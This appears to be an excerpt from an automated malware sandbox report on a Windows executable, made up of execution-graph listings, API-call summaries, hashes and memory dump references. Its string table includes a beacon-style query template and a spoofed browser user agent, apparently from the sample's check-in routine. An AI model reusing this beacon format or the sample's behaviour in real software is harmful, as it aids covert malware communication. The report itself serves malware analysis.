                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CommandHandleLineModule
                                                                                          • String ID: `6U
                                                                                          • API String ID: 2123368496-629876284
                                                                                          • Opcode ID: 48b45b62bccbc2a8e5daf731e4078a894a727d510552ebcfe8024faf6b9ab272
                                                                                          • Instruction ID: ff8fa06d391bd0b31f892a344b3e95d40f530220570fde7b1ba7fad45aeb04f1
                                                                                          • Opcode Fuzzy Hash: 48b45b62bccbc2a8e5daf731e4078a894a727d510552ebcfe8024faf6b9ab272
                                                                                          • Instruction Fuzzy Hash: 45C002609013058AD754AF7579467162A94D751349F80447FF114BA3E1D77C82055BDD
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLastSleep
                                                                                          • String ID:
                                                                                          • API String ID: 1458359878-0
                                                                                          • Opcode ID: 1a9f46df8411143c40a07a37eb8806f02fdea1552ea3146ec5e635b784cd6770
                                                                                          • Instruction ID: f31041694d7e6b08a2ea33ec2b58b28b25921f40701f973673b956735a8b67d8
                                                                                          • Opcode Fuzzy Hash: 1a9f46df8411143c40a07a37eb8806f02fdea1552ea3146ec5e635b784cd6770
                                                                                          • Instruction Fuzzy Hash: 42F02B32705F58A78B21B56A889157FB2A8DB81366750012BFC0CD7313C878CC058BBC

                                                                                          Execution Graph

                                                                                          Execution Coverage:0.9%
                                                                                          Dynamic/Decrypted Code Coverage:64.8%
                                                                                          Signature Coverage:19.5%
                                                                                          Total number of Nodes:421
                                                                                          Total number of Limit Nodes:14
                                                                                          execution_graph 60937 402a20 GetVersion 60961 403b64 HeapCreate 60937->60961 60939 402a7f 60940 402a84 60939->60940 60941 402a8c 60939->60941 61036 402b3b 8 API calls 60940->61036 60973 403844 60941->60973 60945 402a94 GetCommandLineA 60987 403712 60945->60987 60949 402aae 61019 40340c 60949->61019 60951 402ab3 60952 402ab8 GetStartupInfoA 60951->60952 61032 4033b4 60952->61032 60954 402aca GetModuleHandleA 60956 402aee 60954->60956 61037 40315b GetCurrentProcess TerminateProcess ExitProcess 60956->61037 60958 402af7 61038 403230 UnhandledExceptionFilter 60958->61038 60960 402b08 60962 403b84 60961->60962 60963 403bba 60961->60963 61039 403a1c 19 API calls 60962->61039 60963->60939 60965 403b89 60966 403ba0 60965->60966 60967 403b93 60965->60967 60969 403bbd 60966->60969 61041 40478c HeapAlloc VirtualAlloc VirtualAlloc VirtualFree HeapFree 60966->61041 61040 403f3b HeapAlloc 60967->61040 60969->60939 60970 403b9d 60970->60969 60972 403bae HeapDestroy 60970->60972 60972->60963 61042 402b5f 60973->61042 60976 403863 GetStartupInfoA 60979 4038af 60976->60979 60980 403974 60976->60980 60979->60980 60983 402b5f 12 API calls 60979->60983 60986 403920 60979->60986 60981 4039db SetHandleCount 60980->60981 60982 40399b GetStdHandle 60980->60982 60981->60945 60982->60980 60984 4039a9 GetFileType 60982->60984 60983->60979 60984->60980 60985 403942 GetFileType 60985->60986 60986->60980 60986->60985 60988 403760 60987->60988 60989 40372d GetEnvironmentStringsW 60987->60989 60991 403735 60988->60991 60992 403751 60988->60992 60990 403741 GetEnvironmentStrings 60989->60990 60989->60991 60990->60992 60994 402aa4 60990->60994 60993 40376d GetEnvironmentStringsW 60991->60993 60997 403779 60991->60997 60992->60994 60995 4037f3 GetEnvironmentStrings 60992->60995 60996 4037ff 60992->60996 60993->60994 60993->60997 61010 4034c5 60994->61010 60995->60994 60995->60996 61001 402b5f 12 API calls 60996->61001 60997->60997 60998 40378e WideCharToMultiByte 60997->60998 60999 4037ad 60998->60999 61000 4037df FreeEnvironmentStringsW 60998->61000 61002 402b5f 12 API calls 60999->61002 61000->60994 61008 40381a 61001->61008 61003 4037b3 61002->61003 61003->61000 61004 4037bc WideCharToMultiByte 61003->61004 61006 4037d6 61004->61006 61007 4037cd 61004->61007 61005 403830 FreeEnvironmentStringsA 61005->60994 61006->61000 61051 402c11 61007->61051 61008->61005 61011 4034d7 61010->61011 61012 4034dc GetModuleFileNameA 61010->61012 61064 405d24 19 API calls 61011->61064 61014 4034ff 61012->61014 61015 402b5f 12 API calls 61014->61015 61016 403520 61015->61016 61017 403530 61016->61017 61065 402b16 7 API calls 61016->61065 61017->60949 61020 403419 61019->61020 61022 40341e 61019->61022 61066 405d24 19 API calls 61020->61066 61023 402b5f 12 API calls 61022->61023 61024 40344b 61023->61024 61031 40345f 61024->61031 61067 402b16 7 API calls 61024->61067 61026 4034a2 61027 402c11 7 API calls 61026->61027 61028 4034ae 61027->61028 61028->60951 61029 402b5f 12 API calls 61029->61031 61031->61026 61031->61029 61068 402b16 7 API calls 61031->61068 61033 4033bd 61032->61033 61035 4033c2 61032->61035 61069 405d24 19 API calls 61033->61069 61035->60954 61037->60958 61038->60960 61039->60965 61040->60970 61041->60970 61046 402b71 61042->61046 61045 402b16 7 API calls 61045->60976 61047 402b6e 61046->61047 61049 402b78 61046->61049 61047->60976 61047->61045 61049->61047 61050 402b9d 12 API calls 61049->61050 61050->61049 61052 402c39 61051->61052 61053 402c1d 61051->61053 61052->61006 61054 402c27 61053->61054 61055 402c3d 61053->61055 61057 402c69 HeapFree 61054->61057 61058 402c33 61054->61058 61056 402c68 61055->61056 61060 402c57 61055->61060 61056->61057 61057->61052 61062 403fae VirtualFree VirtualFree HeapFree 61058->61062 61063 404a3f VirtualFree HeapFree VirtualFree 61060->61063 61062->61052 61063->61052 61064->61012 61065->61017 61066->61022 61067->61031 61068->61031 61069->61035 60788 402287 60789 402317 OpenSCManagerA 60788->60789 60790 40229b 60788->60790 60790->60789 60791 2c7104d 60796 2c823b4 60791->60796 60802 2c822b8 60796->60802 60798 2c71057 60799 2c71aa9 InterlockedIncrement 60798->60799 60800 2c71ac5 WSAStartup InterlockedExchange 60799->60800 60801 2c7105c 60799->60801 60800->60801 60803 2c822c4 CallCatchBlock 60802->60803 60810 2c87150 60803->60810 60809 2c822eb CallCatchBlock 60809->60798 60827 2c874ab 60810->60827 60812 2c822cd 60813 2c822fc RtlDecodePointer RtlDecodePointer 60812->60813 60814 2c82329 60813->60814 60815 2c822d9 60813->60815 60814->60815 60836 2c87d1d 60 API calls __cftoe_l 60814->60836 60824 2c822f6 60815->60824 60817 2c8238c RtlEncodePointer RtlEncodePointer 60817->60815 60818 2c8233b 60818->60817 60820 2c82360 60818->60820 60837 2c876b9 62 API calls 2 library calls 60818->60837 60820->60815 60823 2c8237a RtlEncodePointer 60820->60823 60838 2c876b9 62 API calls 2 library calls 60820->60838 60822 2c82374 60822->60815 60822->60823 60823->60817 60839 2c87159 60824->60839 60828 2c874bc 60827->60828 60829 2c874cf RtlEnterCriticalSection 60827->60829 60834 2c87533 59 API calls 10 library calls 60828->60834 60829->60812 60831 2c874c2 60831->60829 60835 2c86ffd 59 API calls 3 library calls 60831->60835 60834->60831 60836->60818 60837->60820 60838->60822 60842 2c87615 RtlLeaveCriticalSection 60839->60842 60841 2c822fb 60841->60809 60842->60841 60843 40198a 60844 40d724 lstrcmpiW 60843->60844 60845 40d70e lstrcmpiW 60844->60845 60847 40d14b RegCreateKeyExA 60848 401fe4 60847->60848 60848->60847 60849 40d2bf 60848->60849 61070 2c7e9ac LoadLibraryA 61071 2c7e9d5 GetProcAddress 61070->61071 61072 2c7ea8f 61070->61072 61073 2c7ea88 FreeLibrary 61071->61073 61076 2c7e9e9 61071->61076 61073->61072 61074 2c7e9fb GetAdaptersInfo 61074->61076 61075 2c7ea83 61075->61073 61076->61074 61076->61075 61078 2c827c5 60 API calls 4 library calls 61076->61078 61078->61076 60850 2d0c01d DeleteFileA 61079 4018ed 61083 401897 61079->61083 61084 40219e 61083->61084 60851 40190e 60852 401ff0 Sleep 60851->60852 60853 40de1a 60852->60853 61085 40232e 61086 402330 RegOpenKeyExA 61085->61086 61090 2c7e8a8 CreateFileA 61091 2c7e9a4 61090->61091 61093 2c7e8d9 61090->61093 61092 2c7e8f1 DeviceIoControl 61092->61093 61093->61092 61094 2c7e99a CloseHandle 61093->61094 61095 2c7e966 GetLastError 61093->61095 61097 2c827c5 60 API calls 4 library calls 61093->61097 61094->61091 61095->61093 61095->61094 61097->61093 61098 4017f3 CopyFileA 61099 40d238 61098->61099 61100 40d774 61101 4018e4 61100->61101 61101->61100 61102 402394 61101->61102 61104 401301 FindResourceA 61101->61104 61105 401367 SizeofResource 61104->61105 61110 401360 61104->61110 61106 401386 LoadResource LockResource GlobalAlloc 61105->61106 61105->61110 61107 4013cc 61106->61107 61108 40141f GetTickCount 61107->61108 61111 40142a GlobalAlloc 61108->61111 61110->61102 61111->61110 61112 402434 61113 402405 61112->61113 61113->61112 61115 2c82988 61113->61115 61116 2c82991 61115->61116 61117 2c82996 61115->61117 61129 2c8918c GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter 61116->61129 61121 2c829ab 61117->61121 61120 2c829a4 61120->61113 61122 2c829b7 CallCatchBlock 61121->61122 61123 2c82a62 CallCatchBlock 61122->61123 61127 2c82a05 ___DllMainCRTStartup 61122->61127 61130 2c82816 61122->61130 61123->61120 61125 2c82a3f 61125->61123 61126 2c82816 __CRT_INIT@12 138 API calls 61125->61126 61126->61123 61127->61123 61127->61125 61128 2c82816 __CRT_INIT@12 138 API calls 61127->61128 61128->61125 61129->61117 61131 2c82822 CallCatchBlock 61130->61131 61132 2c8282a 61131->61132 61133 2c828a4 61131->61133 61178 2c86e56 GetProcessHeap 61132->61178 61135 2c828a8 61133->61135 61136 2c8290d 61133->61136 61140 2c828c9 61135->61140 61170 2c82833 CallCatchBlock __CRT_INIT@12 61135->61170 61267 2c87019 59 API calls _doexit 61135->61267 61138 2c82970 61136->61138 61139 2c82912 61136->61139 61137 2c8282f 61137->61170 61179 2c84a04 61137->61179 61138->61170 61282 2c84894 59 API calls 2 library calls 61138->61282 61272 2c87d8b TlsGetValue 61139->61272 61268 2c86ef0 61 API calls _free 61140->61268 61145 2c8291d 61145->61170 61273 2c8762a 61145->61273 61147 2c8283f __RTC_Initialize 61155 2c8284f GetCommandLineA 61147->61155 61147->61170 61148 2c828ce 61150 2c828df __CRT_INIT@12 61148->61150 61269 2c88e2a 60 API calls _free 61148->61269 61271 2c828f8 62 API calls __mtterm 61150->61271 61154 2c828da 61270 2c84a7a 62 API calls 2 library calls 61154->61270 61200 2c89228 GetEnvironmentStringsW 61155->61200 61159 2c82946 61161 2c8294c 61159->61161 61162 2c82964 61159->61162 61280 2c84951 59 API calls 4 library calls 61161->61280 61281 2c81f84 59 API calls 2 library calls 61162->61281 61165 2c82869 61174 2c8286d 61165->61174 61232 2c88e7c 61165->61232 61167 2c82954 GetCurrentThreadId 61167->61170 61170->61127 61265 2c84a7a 62 API calls 2 library calls 61174->61265 61177 2c8288d 61177->61170 61266 2c88e2a 60 API calls _free 61177->61266 61178->61137 61283 2c870c0 36 API calls 2 library calls 61179->61283 61181 2c84a09 61284 2c875dc InitializeCriticalSectionAndSpinCount ___lock_fhandle 61181->61284 61183 2c84a0e 61184 2c84a12 61183->61184 61286 2c87d4e TlsAlloc 61183->61286 61285 2c84a7a 62 API calls 2 library calls 61184->61285 61187 2c84a17 61187->61147 61188 2c84a24 61188->61184 61189 2c84a2f 61188->61189 61190 2c8762a __calloc_crt 59 API calls 61189->61190 61191 2c84a3c 61190->61191 61192 2c84a71 61191->61192 61287 2c87daa TlsSetValue 61191->61287 61289 2c84a7a 62 API calls 2 library calls 61192->61289 61195 2c84a76 61195->61147 61196 2c84a50 61196->61192 61197 2c84a56 61196->61197 61288 2c84951 59 API calls 4 library calls 61197->61288 61199 2c84a5e GetCurrentThreadId 61199->61147 61202 2c8923b WideCharToMultiByte 61200->61202 61205 2c8285f 61200->61205 61203 2c8926e 61202->61203 61204 2c892a5 FreeEnvironmentStringsW 61202->61204 61290 2c87672 59 API calls 2 library calls 61203->61290 61204->61205 61213 2c88b76 61205->61213 61207 2c89274 61207->61204 61208 2c8927b WideCharToMultiByte 61207->61208 61209 2c8929a FreeEnvironmentStringsW 61208->61209 61210 2c89291 61208->61210 61209->61205 61291 2c81f84 59 API calls 2 library calls 61210->61291 61212 2c89297 61212->61209 61214 2c88b82 CallCatchBlock 61213->61214 61215 2c874ab __lock 59 API calls 61214->61215 61216 2c88b89 61215->61216 61217 2c8762a __calloc_crt 59 API calls 61216->61217 61218 2c88b9a 61217->61218 61219 2c88c05 GetStartupInfoW 61218->61219 61220 2c88ba5 CallCatchBlock @_EH4_CallFilterFunc@8 61218->61220 61226 2c88c1a 61219->61226 61227 2c88d49 61219->61227 61220->61165 61221 2c88e11 61294 2c88e21 RtlLeaveCriticalSection _doexit 61221->61294 61223 2c8762a __calloc_crt 59 API calls 61223->61226 61224 2c88d96 GetStdHandle 61224->61227 61225 2c88da9 GetFileType 61225->61227 61226->61223 61226->61227 61228 2c88c68 61226->61228 61227->61221 61227->61224 61227->61225 61293 2c87dcc InitializeCriticalSectionAndSpinCount 61227->61293 61228->61227 61229 2c88c9c GetFileType 61228->61229 61292 2c87dcc InitializeCriticalSectionAndSpinCount 61228->61292 61229->61228 61233 2c88e8a 61232->61233 61234 2c88e8f GetModuleFileNameA 61232->61234 61301 2c83efa 71 API calls __setmbcp 61233->61301 61235 2c88ebc 61234->61235 61295 2c88f2f 61235->61295 61238 2c82879 61238->61177 61243 2c890ab 61238->61243 61241 2c88ef5 61241->61238 61242 2c88f2f _parse_cmdline 59 API calls 61241->61242 61242->61238 61244 2c890b4 61243->61244 61247 2c890b9 _strlen 61243->61247 61305 2c83efa 71 API calls __setmbcp 61244->61305 61246 2c82882 61246->61177 61259 2c87028 61246->61259 61247->61246 61248 2c8762a __calloc_crt 59 API calls 61247->61248 61255 2c890ef _strlen 61248->61255 61249 2c89141 61307 2c81f84 59 API calls 2 library calls 61249->61307 61251 2c8762a __calloc_crt 59 API calls 61251->61255 61252 2c89168 61308 2c81f84 59 API calls 2 library calls 61252->61308 61255->61246 61255->61249 61255->61251 61255->61252 61256 2c8917f 61255->61256 61306 2c8592c 59 API calls __cftoe_l 61255->61306 61309 2c83b75 8 API calls 2 library calls 61256->61309 61258 2c8918b 61260 2c87034 __IsNonwritableInCurrentImage 61259->61260 61310 2c8ab8f 61260->61310 61262 2c87052 __initterm_e 61263 2c823b4 __cinit 68 API calls 61262->61263 61264 2c87071 __cinit __IsNonwritableInCurrentImage 61262->61264 61263->61264 61264->61177 61265->61170 61266->61174 61267->61140 61268->61148 61269->61154 61270->61150 61271->61170 61272->61145 61276 2c87631 61273->61276 61275 2c8292e 61275->61170 61279 2c87daa TlsSetValue 61275->61279 61276->61275 61278 2c8764f 61276->61278 61313 2c8e9b8 61276->61313 61278->61275 61278->61276 61321 2c880c5 Sleep 61278->61321 61279->61159 61280->61167 61281->61170 61282->61170 61283->61181 61284->61183 61285->61187 61286->61188 61287->61196 61288->61199 61289->61195 61290->61207 61291->61212 61292->61228 61293->61227 61294->61220 61297 2c88f51 61295->61297 61299 2c88fb5 61297->61299 61303 2c8ef96 59 API calls x_ismbbtype_l 61297->61303 61298 2c88ed2 61298->61238 61302 2c87672 59 API calls 2 library calls 61298->61302 61299->61298 61304 2c8ef96 59 API calls x_ismbbtype_l 61299->61304 61301->61234 61302->61241 61303->61297 61304->61299 61305->61247 61306->61255 61307->61246 61308->61246 61309->61258 61311 2c8ab92 RtlEncodePointer 61310->61311 61311->61311 61312 2c8abac 61311->61312 61312->61262 61314 2c8e9de 61313->61314 61315 2c8e9c3 61313->61315 61317 2c8e9ee RtlAllocateHeap 61314->61317 61319 2c8e9d4 61314->61319 61323 2c86e73 RtlDecodePointer 61314->61323 61315->61314 61316 2c8e9cf 61315->61316 61322 2c84acb 59 API calls __getptd_noexit 61316->61322 61317->61314 61317->61319 61319->61276 61321->61278 61322->61319 61323->61314 60854 401695 VirtualAlloc 60855 40d86d 60854->60855 61324 2cb19fc 61325 2ce4e2f CreateFileA 61324->61325 60856 2c75e5f RtlInitializeCriticalSection GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress 60926 2c742c7 60856->60926 60858 2c75ecc GetTickCount 60859 2c759fa 59 API calls 60858->60859 60860 2c75ee9 GetVersionExA 60859->60860 60861 2c75f2a _memset 60860->60861 60862 2c81fbc _malloc 59 API calls 60861->60862 60863 2c75f37 60862->60863 60864 2c81fbc _malloc 59 API calls 60863->60864 60865 2c75f47 60864->60865 60866 2c81fbc _malloc 59 API calls 60865->60866 60867 2c75f52 60866->60867 60868 2c81fbc _malloc 59 API calls 60867->60868 60869 2c75f5d 60868->60869 60870 2c81fbc _malloc 59 API calls 60869->60870 60871 2c75f68 60870->60871 60872 2c81fbc _malloc 59 API calls 60871->60872 60873 2c75f73 60872->60873 60874 2c81fbc _malloc 59 API calls 60873->60874 60875 2c75f7e 60874->60875 60876 2c81fbc _malloc 59 API calls 60875->60876 60877 2c75f8a 6 API calls 60876->60877 60878 2c75fd7 _memset 60877->60878 60879 2c75ff0 RtlEnterCriticalSection RtlLeaveCriticalSection 60878->60879 60880 2c81fbc _malloc 59 API calls 60879->60880 60881 2c7602c 60880->60881 60882 2c81fbc _malloc 59 API calls 60881->60882 60883 2c7603a 60882->60883 60884 2c81fbc _malloc 59 API calls 60883->60884 60885 2c76041 60884->60885 60886 2c81fbc _malloc 59 API calls 60885->60886 60887 2c76062 QueryPerformanceCounter Sleep 60886->60887 60888 2c81fbc _malloc 59 API calls 60887->60888 60889 2c76088 60888->60889 60890 2c81fbc _malloc 59 API calls 60889->60890 60906 2c76098 _memset 60890->60906 60891 2c7610b RtlEnterCriticalSection RtlLeaveCriticalSection 60891->60906 60892 2c76105 Sleep 60892->60891 60893 2c7649f RtlEnterCriticalSection RtlLeaveCriticalSection 60894 2c8134c 66 API calls 60893->60894 60894->60906 60895 2c81fbc _malloc 59 API calls 60896 2c76541 RtlEnterCriticalSection RtlLeaveCriticalSection 60895->60896 60896->60906 60897 2c767f8 RtlEnterCriticalSection RtlLeaveCriticalSection 60897->60906 60898 2c75c12 59 API calls 60898->60906 60899 2c8134c 66 API calls 60899->60906 60900 2c81428 _sprintf 84 API calls 60900->60906 60901 2c71ba7 RtlEnterCriticalSection RtlLeaveCriticalSection RtlEnterCriticalSection RtlLeaveCriticalSection 60901->60906 60902 2c7695d RtlEnterCriticalSection 60903 2c7698a RtlLeaveCriticalSection 60902->60903 60902->60906 60905 2c73c67 72 API calls 60903->60905 60904 2c81fbc _malloc 59 API calls 60904->60906 60905->60906 60906->60891 60906->60892 60906->60893 60906->60895 60906->60897 60906->60898 60906->60899 60906->60900 60906->60901 60906->60902 60906->60903 60906->60904 60907 2c73d7e 64 API calls 60906->60907 60908 2c77340 89 API calls 60906->60908 60909 2c78008 88 API calls 60906->60909 60910 2c81f84 _free 59 API calls 60906->60910 60911 2c825f6 65 API calls _strtok 60906->60911 60912 2c773ef 71 API calls 60906->60912 60913 2c827c5 _Allocate 60 API calls 60906->60913 60914 2c81860 _swscanf 59 API calls 60906->60914 60915 2c733b2 86 API calls 60906->60915 60916 2c7972a 73 API calls 60906->60916 60917 2c7873c 6 API calls 60906->60917 60918 2c79854 60 API calls 60906->60918 60919 2c75119 103 API calls 60906->60919 60920 2c7c11c 73 API calls 60906->60920 60921 2c79c14 88 API calls 60906->60921 60922 2c76775 Sleep 60906->60922 60924 2c76770 shared_ptr 60906->60924 60907->60906 60908->60906 60909->60906 60910->60906 60911->60906 60912->60906 60913->60906 60914->60906 60915->60906 60916->60906 60917->60906 60918->60906 60919->60906 60920->60906 60921->60906 60923 2c80900 GetProcessHeap HeapFree 60922->60923 60923->60924 60924->60906 60924->60922 60925 2c74100 GetProcessHeap HeapFree 60924->60925 60925->60924 60927 4022d8 CreateDirectoryA 60928 40decc 60927->60928 61326 40d3f8 61327 40d73f RegSetValueExA 61326->61327 61328 40197b 61329 401ced LoadLibraryExA 61328->61329 60929 4017de RegQueryValueExA 60930 40247c RegCloseKey 60929->60930 60931 4017ec 60929->60931 60933 401fde RegCloseKey 60935 401fe4 60933->60935 60934 40d14b RegCreateKeyExA 60934->60935 60935->60934 60936 40d2bf 60935->60936

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 227 2c75e5f-2c760ed RtlInitializeCriticalSection GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress call 2c742c7 GetTickCount call 2c759fa GetVersionExA call 2c83760 call 2c81fbc * 8 GetProcessHeap RtlAllocateHeap GetProcessHeap RtlAllocateHeap GetProcessHeap RtlAllocateHeap call 2c83760 * 3 RtlEnterCriticalSection RtlLeaveCriticalSection call 2c81fbc * 4 QueryPerformanceCounter Sleep call 2c81fbc * 2 call 2c83760 * 2 272 2c760f1-2c760f3 227->272 273 2c760f5-2c760fa 272->273 274 2c760fc-2c760fe 272->274 277 2c76105 Sleep 273->277 275 2c76100 274->275 276 2c7610b-2c76449 RtlEnterCriticalSection RtlLeaveCriticalSection 274->276 275->277 279 2c76465-2c7646f 276->279 280 2c7644b-2c76451 276->280 277->276 279->272 281 2c76475-2c76499 call 2c83760 call 2c7439c 279->281 282 2c76457-2c76464 call 2c7534d 280->282 283 2c76453-2c76455 280->283 281->272 290 2c7649f-2c764ca RtlEnterCriticalSection RtlLeaveCriticalSection call 2c8134c 281->290 282->279 283->279 293 2c76514-2c7652c call 2c8134c 290->293 294 2c764cc-2c764db call 2c8134c 290->294 299 2c767d3-2c767e2 call 2c8134c 293->299 300 2c76532-2c76534 293->300 294->293 301 2c764dd-2c764ec call 2c8134c 294->301 309 2c76827-2c76836 call 2c8134c 299->309 310 2c767e4-2c767e6 299->310 300->299 304 2c7653a-2c765e5 call 2c81fbc RtlEnterCriticalSection RtlLeaveCriticalSection call 2c83760 * 5 call 2c7439c * 2 300->304 301->293 308 2c764ee-2c764fd call 2c8134c 301->308 355 2c765e7-2c765e9 304->355 356 2c76622 304->356 308->293 324 2c764ff-2c7650e call 2c8134c 308->324 322 2c7684b-2c7685a call 2c8134c 309->322 323 2c76838-2c76841 call 2c75c12 call 2c75d20 309->323 310->309 314 2c767e8-2c76822 call 2c83760 RtlEnterCriticalSection RtlLeaveCriticalSection 310->314 314->272 322->272 335 2c76860-2c76862 322->335 337 2c76846 323->337 324->272 324->293 335->272 338 2c76868-2c76881 call 2c7439c 335->338 337->272 338->272 343 2c76887-2c76956 call 2c81428 call 2c71ba7 338->343 353 2c7695d-2c7697e RtlEnterCriticalSection 343->353 354 2c76958 call 2c7143f 343->354 359 2c76980-2c76987 353->359 360 2c7698a-2c769f1 RtlLeaveCriticalSection call 2c73c67 call 2c73d7e call 2c77340 353->360 354->353 355->356 361 2c765eb-2c765fd call 2c8134c 355->361 357 2c76626-2c76654 call 2c81fbc call 2c83760 call 2c7439c 356->357 381 2c76656-2c76665 call 2c825f6 357->381 382 2c76695-2c7669e call 2c81f84 357->382 359->360 379 2c769f7-2c76a39 call 2c7972a 360->379 380 2c76b59-2c76b6d call 2c78008 360->380 361->356 368 2c765ff-2c76620 call 2c7439c 361->368 368->357 391 2c76b23-2c76b54 call 2c773ef call 2c733b2 379->391 392 2c76a3f-2c76a46 379->392 380->272 381->382 395 2c76667 381->395 393 2c766a4-2c766bc call 2c827c5 382->393 394 2c767c1-2c767ce 382->394 391->380 398 2c76a49-2c76a4e 392->398 407 2c766be-2c766c6 call 2c7873c 393->407 408 2c766c8 393->408 394->272 396 2c7666c-2c7667e call 2c81860 395->396 410 2c76683-2c76693 call 2c825f6 396->410 411 2c76680 396->411 398->398 402 2c76a50-2c76a95 call 2c7972a 398->402 402->391 416 2c76a9b-2c76aa1 402->416 409 2c766ca-2c7676e call 2c79854 call 2c73863 call 2c75119 call 2c73863 call 2c79afa call 2c79c14 407->409 408->409 437 2c76775-2c767a0 Sleep call 2c80900 409->437 438 2c76770 call 2c7380b 409->438 410->382 410->396 411->410 420 2c76aa4-2c76aa9 416->420 420->420 422 2c76aab-2c76ae6 call 2c7972a 420->422 422->391 428 2c76ae8-2c76b22 call 2c7c11c 422->428 428->391 442 2c767a2-2c767ab call 2c74100 437->442 443 2c767ac-2c767ba 437->443 438->437 442->443 443->394 445 2c767bc call 2c7380b 443->445 445->394
                                                                                          APIs
                                                                                          • RtlInitializeCriticalSection.NTDLL(02CA4FD0), ref: 02C75E93
                                                                                          • GetModuleHandleA.KERNEL32(ntdll.dll,sprintf), ref: 02C75EAA
                                                                                          • GetProcAddress.KERNEL32(00000000), ref: 02C75EB3
                                                                                          • GetModuleHandleA.KERNEL32(ntdll.dll,strcat), ref: 02C75EC2
                                                                                          • GetProcAddress.KERNEL32(00000000), ref: 02C75EC5
                                                                                          • GetTickCount.KERNEL32 ref: 02C75ED9
                                                                                            • Part of subcall function 02C759FA: _malloc.LIBCMT ref: 02C75A08
                                                                                          • GetVersionExA.KERNEL32(02CA4E20), ref: 02C75F06
                                                                                          • _memset.LIBCMT ref: 02C75F25
                                                                                          • _malloc.LIBCMT ref: 02C75F32
                                                                                            • Part of subcall function 02C81FBC: __FF_MSGBANNER.LIBCMT ref: 02C81FD3
                                                                                            • Part of subcall function 02C81FBC: __NMSG_WRITE.LIBCMT ref: 02C81FDA
                                                                                            • Part of subcall function 02C81FBC: RtlAllocateHeap.NTDLL(00990000,00000000,00000001), ref: 02C81FFF
                                                                                          • _malloc.LIBCMT ref: 02C75F42
                                                                                          • _malloc.LIBCMT ref: 02C75F4D
                                                                                          • _malloc.LIBCMT ref: 02C75F58
                                                                                          • _malloc.LIBCMT ref: 02C75F63
                                                                                          • _malloc.LIBCMT ref: 02C75F6E
                                                                                          • _malloc.LIBCMT ref: 02C75F79
                                                                                          • _malloc.LIBCMT ref: 02C75F85
                                                                                          • GetProcessHeap.KERNEL32(00000000,00000004), ref: 02C75F9C
                                                                                          • RtlAllocateHeap.NTDLL(00000000), ref: 02C75FA5
                                                                                          • GetProcessHeap.KERNEL32(00000000,00000400), ref: 02C75FB1
                                                                                          • RtlAllocateHeap.NTDLL(00000000), ref: 02C75FB4
                                                                                          • GetProcessHeap.KERNEL32(00000000,00000400), ref: 02C75FBF
                                                                                          • RtlAllocateHeap.NTDLL(00000000), ref: 02C75FC2
                                                                                          • _memset.LIBCMT ref: 02C75FD2
                                                                                          • _memset.LIBCMT ref: 02C75FDE
                                                                                          • _memset.LIBCMT ref: 02C75FEB
                                                                                          • RtlEnterCriticalSection.NTDLL(02CA4FD0), ref: 02C75FF9
                                                                                          • RtlLeaveCriticalSection.NTDLL(02CA4FD0), ref: 02C76006
                                                                                          • _malloc.LIBCMT ref: 02C76027
                                                                                          • _malloc.LIBCMT ref: 02C76035
                                                                                          • _malloc.LIBCMT ref: 02C7603C
                                                                                          • _malloc.LIBCMT ref: 02C7605D
                                                                                          • QueryPerformanceCounter.KERNEL32(00000200), ref: 02C76069
                                                                                          • Sleep.KERNELBASE(00000000), ref: 02C76077
                                                                                          • _malloc.LIBCMT ref: 02C76083
                                                                                          • _malloc.LIBCMT ref: 02C76093
                                                                                          • _memset.LIBCMT ref: 02C760A8
                                                                                          • _memset.LIBCMT ref: 02C760B8
                                                                                          • Sleep.KERNELBASE(0000EA60), ref: 02C76105
                                                                                          • RtlEnterCriticalSection.NTDLL(02CA4FD0), ref: 02C76110
                                                                                          • RtlLeaveCriticalSection.NTDLL(02CA4FD0), ref: 02C76121
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3384850587.0000000002C71000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C71000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_2c71000_bsoftvideocapture33.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: _malloc$Heap$_memset$CriticalSection$Allocate$Process$AddressEnterHandleLeaveModuleProcSleep$CountCounterInitializePerformanceQueryTickVersion
                                                                                          • String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$gpt=%.8x&advizor=%d&box=%d&hp=%x&lp=%x&line=%d&os=%d.%d.%04d&flag=%d&itd=%d$ntdll.dll$sprintf$strcat
                                                                                          • API String ID: 1856495841-1038016512
                                                                                          • Opcode ID: 1820ef1bcea9a00154beff4de8417c336e3a174b45970c2ec372b0310380fae0
                                                                                          • Instruction ID: 6ea22516647cba1d7445fbf741d2f6b37e904671daf3de916471ac7516738bd4
                                                                                          • Opcode Fuzzy Hash: 1820ef1bcea9a00154beff4de8417c336e3a174b45970c2ec372b0310380fae0
                                                                                          • Instruction Fuzzy Hash: 9071B2B1D48380AFD720BB74AC09B5BBBD8AF45708F044E2DF58897241DBB589158BD6

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
